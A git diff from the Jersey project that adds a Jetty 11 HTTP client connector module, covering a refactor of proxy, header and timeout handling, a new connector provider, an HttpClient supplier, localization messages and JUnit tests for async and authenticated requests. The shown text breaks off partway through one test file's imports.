    +        }
    +        if (jaxrsClient.getHostnameVerifier() != null) {
    +            client.getSslContextFactory().setHostnameVerifier(jaxrsClient.getHostnameVerifier());
             }
     
             final Object connectTimeout = config.getProperties().get(ClientProperties.CONNECT_TIMEOUT);
    @@ -191,28 +189,26 @@ class JettyConnector implements Connector {
                 auth.addAuthentication((BasicAuthentication) basicAuthProvider);
             }
     
    -        final Object proxyUri = config.getProperties().get(ClientProperties.PROXY_URI);
    -        if (proxyUri != null) {
    -            final URI u = getProxyUri(proxyUri);
    +        final Optional proxy = ClientProxy.proxyFromConfiguration(config);
    +        proxy.ifPresent(clientProxy -> {
                 final ProxyConfiguration proxyConfig = client.getProxyConfiguration();
    -            proxyConfig.getProxies().add(new HttpProxy(u.getHost(), u.getPort()));
    +            final URI u = clientProxy.uri();
    +            proxyConfig.addProxy(new HttpProxy(u.getHost(), u.getPort()));
     
    -            final Object proxyUsername = config.getProperties().get(ClientProperties.PROXY_USERNAME);
    -            if (proxyUsername != null) {
    -                final Object proxyPassword = config.getProperties().get(ClientProperties.PROXY_PASSWORD);
    +            if (clientProxy.userName() != null) {
                     auth.addAuthentication(new BasicAuthentication(u, "<>",
    -                        String.valueOf(proxyUsername), String.valueOf(proxyPassword)));
    +                        clientProxy.userName(), clientProxy.password()));
                 }
    -        }
    +        });
     
             if (disableCookies) {
                 client.setCookieStore(new HttpCookieStore.Empty());
             }
     
             final Object slResponseMaxSize = configuration.getProperties()
    -            .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE);
    +                .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE);
             if (slResponseMaxSize != null && slResponseMaxSize instanceof Integer
    -            && (Integer) slResponseMaxSize > 0) {
    +                && (Integer) slResponseMaxSize > 0) {
                 this.syncListenerResponseMaxSize = Optional.of((Integer) slResponseMaxSize);
             }
             else {
    @@ -227,15 +223,35 @@ class JettyConnector implements Connector {
             this.cookieStore = client.getCookieStore();
         }
     
    -    @SuppressWarnings("ChainOfInstanceofChecks")
    -    private static URI getProxyUri(final Object proxy) {
    -        if (proxy instanceof URI) {
    -            return (URI) proxy;
    -        } else if (proxy instanceof String) {
    -            return URI.create((String) proxy);
    -        } else {
    -            throw new ProcessingException(LocalizationMessages.WRONG_PROXY_URI_TYPE(ClientProperties.PROXY_URI));
    +    /**
    +     * provides required HTTP client transport for client
    +     *
    +     * the default transport is {@link HttpClientTransportOverHTTP}
    +     *
    +     * @return instance of {@link HttpClientTransport}
    +     * @since 2.41
    +     */
    +    protected HttpClientTransport initClientTransport(ClientConnector clientConnector) {
    +        return new HttpClientTransportOverHTTP(clientConnector);
    +    }
    +
    +    /**
    +     * provides custom registered {@link HttpClient} if any (or NULL)
    +     *
    +     * @param config configuration where {@link HttpClient} could be registered
    +     * @return {@link HttpClient} instance if any was previously registered or NULL
    +     *
    +     * @since 2.41
    +     */
    +    protected HttpClient getRegisteredHttpClient(Configuration config) {
    +        if (config.isRegistered(JettyHttpClientSupplier.class)) {
    +            Optional contract = config.getInstances().stream()
    +                    .filter(a-> JettyHttpClientSupplier.class.isInstance(a)).findFirst();
    +            if (contract.isPresent()) {
    +                return  ((JettyHttpClientSupplier) contract.get()).getHttpClient();
    +            }
             }
    +        return null;
         }
     
         /**
    @@ -252,7 +268,7 @@ public HttpClient getHttpClient() {
          * Get the {@link CookieStore}.
          *
          * @return the {@link CookieStore} instance or null when
    -     * JettyClientProperties.DISABLE_COOKIES set to true.
    +     * Jetty11ClientProperties.DISABLE_COOKIES set to true.
          */
         public CookieStore getCookieStore() {
             return cookieStore;
    @@ -260,12 +276,14 @@ public CookieStore getCookieStore() {
     
         @Override
         public ClientResponse apply(final ClientRequest jerseyRequest) throws ProcessingException {
    -        applyUserAgentHeader(jerseyRequest.getHeaders());
             final Request jettyRequest = translateRequest(jerseyRequest);
    -        final Map clientHeadersSnapshot = writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest);
    -        final ContentProvider entity = getBytesProvider(jerseyRequest);
    +        final Map clientHeadersSnapshot = new HashMap<>();
    +        final ContentProvider entity =
    +                getBytesProvider(jerseyRequest, jerseyRequest.getHeaders(), clientHeadersSnapshot, jettyRequest);
             if (entity != null) {
                 jettyRequest.content(entity);
    +        } else {
    +            clientHeadersSnapshot.putAll(writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest));
             }
     
             try {
    @@ -275,12 +293,12 @@ public ClientResponse apply(final ClientRequest jerseyRequest) throws Processing
                 }
                 else {
                     final FutureResponseListener listener
    -                    = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get());
    +                        = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get());
                     jettyRequest.send(listener);
                     jettyResponse = listener.get();
                 }
                 HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(),
    -                                           JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
    +                    JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
     
                 final jakarta.ws.rs.core.Response.StatusType status = jettyResponse.getReason() == null
                         ? Statuses.from(jettyResponse.getStatus())
    @@ -333,43 +351,35 @@ private Request translateRequest(final ClientRequest clientRequest) {
             request.followRedirects(clientRequest.resolveProperty(ClientProperties.FOLLOW_REDIRECTS, true));
             final Object readTimeout = clientRequest.resolveProperty(ClientProperties.READ_TIMEOUT, -1);
             if (readTimeout != null && readTimeout instanceof Integer && (Integer) readTimeout > 0) {
    -            request.timeout((Integer) readTimeout, TimeUnit.MILLISECONDS);
    +            request.idleTimeout((Integer) readTimeout, TimeUnit.MILLISECONDS);
             }
    -        return request;
    -    }
     
    -    /**
    -     * Re-write User-agent header set by Jetty; Jersey already sets this in its request (incl. Jetty version)
    -     * it shall be propagated to Jetty client before HttpRequest instance is created.
    -     * HttpRequest takes User Agent header from client then.
    -     *
    -     * @param headers - map of Jersey headers
    -     */
    -    private void applyUserAgentHeader(final MultivaluedMap headers) {
    -        if (headers.containsKey(HttpHeaders.USER_AGENT)) {
    -            final Map stringHeaders =
    -                    HeaderUtils.asStringHeadersSingleValue(headers, configuration);
    -            client.setUserAgentField(
    -                    new HttpField(HttpHeader.USER_AGENT,
    -                            HttpHeader.USER_AGENT.name(),
    -                            stringHeaders.get(HttpHeaders.USER_AGENT))
    -            );
    +        final Object totalTimeout = clientRequest.resolveProperty(JettyClientProperties.TOTAL_TIMEOUT, -1);
    +        if (totalTimeout != null && totalTimeout instanceof Integer && (Integer) totalTimeout > 0) {
    +            request.timeout((Integer) totalTimeout, TimeUnit.MILLISECONDS);
             }
    +
    +        return request;
         }
     
         private Map writeOutBoundHeaders(final MultivaluedMap headers, final Request request) {
             final Map stringHeaders = HeaderUtils.asStringHeadersSingleValue(headers, configuration);
    +        final Consumer mutableConsumer = httpFields -> {
    +            // remove User-agent header set by Jetty; Jersey already sets this in its request (incl. Jetty version)
    +            httpFields.remove(HttpHeader.USER_AGENT);
    +            for (final Map.Entry e : stringHeaders.entrySet()) {
    +                httpFields.put(e.getKey(), e.getValue());
    +            }
    +        };
    +        request.headers(mutableConsumer);
     
    -         if (request instanceof HttpRequest) {
    -             final HttpRequest httpRequest = (HttpRequest) request;
    -             for (final Map.Entry e : stringHeaders.entrySet()) {
    -                 httpRequest.addHeader(new HttpField(e.getKey(), e.getValue()));
    -             }
    -         }
             return stringHeaders;
         }
     
    -    private ContentProvider getBytesProvider(final ClientRequest clientRequest) {
    +    private ContentProvider getBytesProvider(final ClientRequest clientRequest,
    +                                             final MultivaluedMap headers,
    +                                             final Map snapshot,
    +                                             final Request request) {
             final Object entity = clientRequest.getEntity();
     
             if (entity == null) {
    @@ -380,6 +390,7 @@ private ContentProvider getBytesProvider(final ClientRequest clientRequest) {
             clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() {
                 @Override
                 public OutputStream getOutputStream(final int contentLength) throws IOException {
    +                snapshot.putAll(writeOutBoundHeaders(headers, request));
                     return outputStream;
                 }
             });
    @@ -422,7 +433,6 @@ private void processContent(final ClientRequest clientRequest, final ContentProv
     
         @Override
         public Future apply(final ClientRequest jerseyRequest, final AsyncConnectorCallback callback) {
    -        applyUserAgentHeader(jerseyRequest.getHeaders());
             final Request jettyRequest = translateRequest(jerseyRequest);
             final Map clientHeadersSnapshot = writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest);
             final ContentProvider entity = getStreamProvider(jerseyRequest);
    @@ -432,15 +442,15 @@ public Future apply(final ClientRequest jerseyRequest, final AsyncConnectorCa
             final AtomicBoolean callbackInvoked = new AtomicBoolean(false);
             final Throwable failure;
             try {
    -            final CompletableFuture responseFuture =
    -                    new CompletableFuture().whenComplete(
    -                            (clientResponse, throwable) -> {
    -                                if (throwable != null && throwable instanceof CancellationException) {
    -                                    // take care of future cancellation
    -                                    jettyRequest.abort(throwable);
    +            final CompletableFuture responseFuture = new CompletableFuture();
    +            responseFuture.whenComplete(
    +                    (clientResponse, throwable) -> {
    +                        if (throwable != null && throwable instanceof CancellationException) {
    +                            // take care of future cancellation
    +                            jettyRequest.abort(throwable);
     
    -                                }
    -                            });
    +                        }
    +                    });
     
                 final AtomicReference jerseyResponse = new AtomicReference<>();
                 final ByteBufferInputStream entityStream = new ByteBufferInputStream();
    @@ -449,7 +459,7 @@ public Future apply(final ClientRequest jerseyRequest, final AsyncConnectorCa
                     @Override
                     public void onHeaders(final Response jettyResponse) {
                         HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(),
    -                                                   JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
    +                            JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
     
                         if (responseFuture.isDone()) {
                             if (!callbackInvoked.compareAndSet(false, true)) {
    @@ -539,4 +549,4 @@ public void close() {
                 throw new ProcessingException("Failed to stop the client.", e);
             }
         }
    -}
    +}
    \ No newline at end of file
    diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
    new file mode 100644
    index 00000000000..167683a8492
    --- /dev/null
    +++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
    @@ -0,0 +1,128 @@
    +/*
    + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
    + *
    + * This program and the accompanying materials are made available under the
    + * terms of the Eclipse Public License v. 2.0, which is available at
    + * http://www.eclipse.org/legal/epl-2.0.
    + *
    + * This Source Code may also be made available under the following Secondary
    + * Licenses when the conditions for such availability set forth in the
    + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
    + * version 2 with the GNU Classpath Exception, which is available at
    + * https://www.gnu.org/software/classpath/license.html.
    + *
    + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
    + */
    +
    +package org.glassfish.jersey.jetty.connector;
    +
    +import jakarta.ws.rs.ProcessingException;
    +import jakarta.ws.rs.client.Client;
    +import jakarta.ws.rs.core.Configurable;
    +import jakarta.ws.rs.core.Configuration;
    +
    +import org.glassfish.jersey.client.Initializable;
    +import org.glassfish.jersey.client.spi.Connector;
    +import org.glassfish.jersey.client.spi.ConnectorProvider;
    +
    +import org.eclipse.jetty.client.HttpClient;
    +import org.glassfish.jersey.internal.util.JdkVersion;
    +
    +/**
    + * A {@link ConnectorProvider} for Jersey {@link Connector connector}
    + * instances that utilize the Jetty HTTP Client to send and receive
    + * HTTP request and responses.
    + * 

    + * The following connector configuration properties are supported: + *

      + *
    • {@link org.glassfish.jersey.client.ClientProperties#ASYNC_THREADPOOL_SIZE}
    • + *
    • {@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}
    • + *
    • {@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}
    • + *
    • {@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}
    • + *
    • {@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}
    • + *
    • {@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}
    • + *
    • {@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}
    • + *
    • {@link JettyClientProperties#DISABLE_COOKIES}
    • * + *
    • {@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}
    • + *
    • {@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}
    • + *
    • {@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}
    • + *
    + *

    + *

    + * This transport supports both synchronous and asynchronous processing of client requests. + * The following methods are supported: GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT and MOVE. + *

    + *

    + * Typical usage: + *

    + *
    + * {@code
    + * ClientConfig config = new ClientConfig();
    + * config.connectorProvider(new JettyConnectorProvider());
    + * Client client = ClientBuilder.newClient(config);
    + *
    + * // async request
    + * WebTarget target = client.target("http://localhost:8080");
    + * Future future = target.path("resource").request().async().get();
    + *
    + * // wait for 3 seconds
    + * Response response = future.get(3, TimeUnit.SECONDS);
    + * String entity = response.readEntity(String.class);
    + * client.close();
    + * }
    + * 
    + *

    + * Connector instances created via Jetty HTTP Client-based connector provider support only + * {@link org.glassfish.jersey.client.RequestEntityProcessing#BUFFERED entity buffering}. + * Defining the property {@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING} has no + * effect on Jetty HTTP Client-based connectors. + *

    + * + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Marek Potociar + * @since 2.5 + */ +public class JettyConnectorProvider implements ConnectorProvider { + + @Override + public Connector getConnector(Client client, Configuration runtimeConfig) { + if (JdkVersion.getJdkVersion().getMajor() < 11) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + return new JettyConnector(client, runtimeConfig); + } + + /** + * Retrieve the underlying Jetty {@link HttpClient} instance from + * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget} + * configured to use {@code JettyConnectorProvider}. + * + * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use + * {@code JettyConnectorProvider}. + * @return underlying Jetty {@code HttpClient} instance. + * + * @throws IllegalArgumentException in case the {@code component} is neither {@code JerseyClient} + * nor {@code JerseyWebTarget} instance or in case the component + * is not configured to use a {@code JettyConnectorProvider}. + * @since 2.8 + */ + public static HttpClient getHttpClient(Configurable component) { + if (!(component instanceof Initializable)) { + throw new IllegalArgumentException( + LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName())); + } + + final Initializable initializable = (Initializable) component; + Connector connector = initializable.getConfiguration().getConnector(); + if (connector == null) { + initializable.preInitialize(); + connector = initializable.getConfiguration().getConnector(); + } + + if (connector instanceof JettyConnector) { + return ((JettyConnector) connector).getHttpClient(); + } + + throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED()); + } +} diff --git a/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java similarity index 94% rename from connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java rename to connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java index b061ef5c706..95782f2c978 100644 --- a/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java +++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java new file mode 100644 index 00000000000..de6453b35ae --- /dev/null +++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java @@ -0,0 +1,56 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.jetty.connector; + +import org.eclipse.jetty.client.HttpClient; + +/** + * Jetty HttpClient supplier to be registered into Jersey configuration to be used by {@link JettyConnector}. + * Not every possible configuration option is covered by the Jetty Connector and this supplier offers a way to provide + * an HttpClient that has configured the options not covered by the Jetty Connector. + *

    + * Typical usage: + *

    + *
    + * {@code
    + * HttpClient httpClient = ...
    + *
    + * ClientConfig config = new ClientConfig();
    + * config.connectorProvider(new JettyConnectorProvider());
    + * config.register(new JettyHttpClientSupplier(httpClient));
    + * Client client = ClientBuilder.newClient(config);
    + * }
    + * 
    + *

    + * The {@code HttpClient} is configured as if it was created by {@link JettyConnector} the usual way. + *

    + */ +public class JettyHttpClientSupplier implements JettyHttpClientContract { + private final HttpClient httpClient; + + /** + * {@code HttpClient} supplier to be optionally registered to a {@link org.glassfish.jersey.client.ClientConfig} + * @param httpClient a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called. + */ + public JettyHttpClientSupplier(HttpClient httpClient) { + this.httpClient = httpClient; + } + + @Override + public HttpClient getHttpClient() { + return httpClient; + } +} diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java new file mode 100644 index 00000000000..8416cf40e12 --- /dev/null +++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java @@ -0,0 +1,21 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +/** + * Jersey client {@link org.glassfish.jersey.client.spi.Connector connector} based on the + * Jetty Client. + */ +package org.glassfish.jersey.jetty.connector; diff --git a/connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties b/connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties new file mode 100644 index 00000000000..aacb2672119 --- /dev/null +++ b/connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties @@ -0,0 +1,21 @@ +# +# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 +# + +# {0} - HTTP method, e.g. GET, DELETE +method.not.supported=Method {0} not supported. +invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget. +expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider. +not.supported=Jetty connector is not supported on JDK version less than 11. diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java new file mode 100644 index 00000000000..8755aaf0287 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java @@ -0,0 +1,201 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.logging.Logger; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.container.AsyncResponse; +import jakarta.ws.rs.container.Suspended; +import jakarta.ws.rs.container.TimeoutHandler; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.hamcrest.Matchers; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * Asynchronous connector test. + * + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Marek Potociar + */ +public class AsyncTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName()); + private static final String PATH = "async"; + + /** + * Asynchronous test resource. + */ + @Path(PATH) + public static class AsyncResource { + /** + * Typical long-running operation duration. + */ + public static final long OPERATION_DURATION = 1000; + + /** + * Long-running asynchronous post. + * + * @param asyncResponse async response. + * @param id post request id (received as request payload). + */ + @POST + public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) { + LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName()); + new Thread(new Runnable() { + + @Override + public void run() { + String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep() + try { + Thread.sleep(OPERATION_DURATION); + return "DONE-" + id; + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + return "INTERRUPTED-" + id; + } finally { + LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName()); + } + } + }, "async-post-runner-" + id).start(); + } + + /** + * Long-running async get request that times out. + * + * @param asyncResponse async response. + */ + @GET + @Path("timeout") + public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) { + LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName()); + asyncResponse.setTimeoutHandler(new TimeoutHandler() { + + @Override + public void handleTimeout(AsyncResponse asyncResponse) { + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE) + .entity("Operation time out.").build()); + } + }); + asyncResponse.setTimeout(1, TimeUnit.SECONDS); + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE) + .entity("Operation time out.").build()); + + new Thread(new Runnable() { + + @Override + public void run() { + String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // very expensive operation that typically finishes within 1 second but can take up to 5 seconds, + // simulated using sleep() + try { + Thread.sleep(5 * OPERATION_DURATION); + return "DONE"; + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + return "INTERRUPTED"; + } finally { + LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName()); + } + } + }).start(); + } + + } + + @Override + protected Application configure() { + return new ResourceConfig(AsyncResource.class) + .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + } + + @Override + protected void configureClient(ClientConfig config) { + // TODO: fails with true on request - should be fixed by resolving JERSEY-2273 + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY)); + config.connectorProvider(new JettyConnectorProvider()); + } + + /** + * Test asynchronous POST. + * + * Send 3 async POST requests and wait to receive the responses. Check the response content and + * assert that the operation did not take more than twice as long as a single long operation duration + * (this ensures async request execution). + * + * @throws Exception in case of a test error. + */ + @Test + public void testAsyncPost() throws Exception { + final long tic = System.currentTimeMillis(); + + // Submit requests asynchronously. + final Future rf1 = target(PATH).request().async().post(Entity.text("1")); + final Future rf2 = target(PATH).request().async().post(Entity.text("2")); + final Future rf3 = target(PATH).request().async().post(Entity.text("3")); + // get() waits for the response + final String r1 = rf1.get().readEntity(String.class); + final String r2 = rf2.get().readEntity(String.class); + final String r3 = rf3.get().readEntity(String.class); + + final long toc = System.currentTimeMillis(); + + assertEquals("DONE-1", r1); + assertEquals("DONE-2", r2); + assertEquals("DONE-3", r3); + + assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION)); + } + + /** + * Test accessing an operation that times out on the server. + * + * @throws Exception in case of a test error. + */ + @Test + public void testAsyncGetWithTimeout() throws Exception { + final Future responseFuture = target(PATH).path("timeout").request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + + // get() waits for the response + assertEquals(503, response.getStatus()); + assertEquals("Operation time out.", response.readEntity(String.class)); + } +} diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java new file mode 100644 index 00000000000..be077c9b5e0 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java @@ -0,0 +1,77 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.logging.Logger; + +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +public class AuthFilterTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName()); + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyConnectorProvider()); + } + + @Test + public void testAuthGetWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testAuthPostWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().post(Entity.text("POST")); + assertEquals("POST", response.readEntity(String.class)); + } + + + @Test + public void testAuthDeleteWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().delete(); + assertEquals(204, response.getStatus()); + } + +} diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java new file mode 100644 index 00000000000..27ca10a1986 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java @@ -0,0 +1,197 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.logging.Logger; + +import jakarta.ws.rs.DELETE; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import 